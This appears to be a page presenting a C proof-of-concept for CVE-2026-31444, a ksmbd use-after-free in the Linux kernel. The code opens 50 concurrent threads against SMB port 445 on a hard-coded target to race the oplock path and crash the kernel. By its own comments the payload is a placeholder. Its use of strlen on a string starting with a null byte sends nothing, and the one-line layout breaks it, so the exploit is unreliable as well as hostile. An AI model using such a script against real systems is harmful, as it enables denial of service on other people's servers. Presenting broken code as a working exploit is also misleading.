CVE-2026-31444: Linux内核ksmbd释放后重用漏洞

/* * PoC for CVE-2026-31444 (ksmbd UAF & NULL Dereference) * This script attempts to trigger the race condition in smb_grant_oplock. * It requires multiple threads to send concurrent SMB requests to the target. * * Compile: gcc -o poc_cve2026_31444 poc_cve2026_31444.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <pthread.h> #define TARGET_IP "192.168.1.100" #define TARGET_PORT 445 void* send_smb_request(void* arg) { int sock; struct sockaddr_in server; char buffer[1024]; // Create TCP socket sock = socket(AF_INET, SOCK_STREAM, 0); if (sock == -1) { perror("Could not create socket"); return NULL; } server.sin_family = AF_INET; server.sin_port = htons(TARGET_PORT); server.sin_addr.s_addr = inet_addr(TARGET_IP); // Connect to SMB server if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) { perror("Connect failed"); close(sock); return NULL; } // Simplified SMB Negotiate/Open Request sequence // Real exploitation requires crafting specific SMB2/3 COMPOUND requests // to trigger smb_grant_oplock path with concurrent access. const char* request = "\x00\x00\x00\x72\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8"; // Note: This is a placeholder header. Actual PoC requires full SMB protocol implementation. if (send(sock, request, strlen(request), 0) < 0) { perror("Send failed"); } // Intentional delay to hold the connection and race with other threads sleep(1); close(sock); return NULL; } int main(int argc, char *argv[]) { pthread_t threads[50]; int i; printf("[+] Starting PoC for CVE-2026-31444 against %s...\n", TARGET_IP); // Spawn multiple threads to trigger race condition for (i = 0; i < 50; i++) { if (pthread_create(&threads[i], NULL, send_smb_request, NULL) != 0) { perror("Failed to create thread"); } // Minimal delay between thread creation to increase race window likelihood usleep(1000); } // Wait for all threads to complete for (i = 0; i < 50; i++) { pthread_join(threads[i], NULL); } printf("[*] Exploit attempt finished. Check target kernel logs for crashes.\n"); return 0; }